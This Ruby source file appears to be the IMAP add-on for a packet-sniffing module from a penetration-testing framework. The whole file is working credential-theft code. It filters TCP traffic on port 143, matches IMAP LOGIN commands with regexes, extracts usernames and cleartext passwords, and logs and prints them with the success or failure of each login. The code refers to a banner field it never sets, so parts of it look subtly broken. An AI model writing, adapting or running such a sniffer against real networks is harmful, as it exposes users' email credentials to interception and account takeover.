# Psnuffle password sniffer add-on class for imap
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
# Also incorrect credentials are sniffed but marked
# as unsuccessful logins... (Typos are common :-) )
#


class SnifferIMAP < BaseProtocolParser

	def register_sigs
		self.sigs = {
			:banner		=> /^(\*\s+OK[^\n\r]*)/i,
			:login		=> /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i,
			:login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i,
			:login_bad	=> /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i,
			:login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i
		}
	end

	def parse(pkt)

		# We want to return immediatly if we do not have a packet which is handled by us
		return unless pkt.is_tcp?
		return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143)
		s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt))
		s[:sname] ||= "imap4"

		self.sigs.each_key do |k|
			# There is only one pattern per run to test
			matched = nil
			matches = nil

			if (pkt.payload =~ self.sigs[k])
				matched = k
				matches = [$1,$2]
			end

			case matched
			when :banner
				s[:info] = matches
				report_service(s)

			when :login_pass

				report_auth_info(s)
				print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

				# Remove it form the session objects so freeup
				sessions.delete(s[:session])

			when :login_fail

				report_auth_info(s.merge({:active => false}))
				print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

				# Remove it form the session objects so freeup
				sessions.delete(s[:session])

			when :login_bad
				report_auth_info(s.merge({:active => false}))
				print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

				# Remove it form the session objects so freeup
				sessions.delete(s[:session])

			when :login
				s[:user]=$1
				s[:pass]=$2

			when nil
				# No matches, no saved state
			else
				sessions[s[:session]].merge!({k => matches})
			end # end case matched
		end # end of each_key
	end # end of parse
end

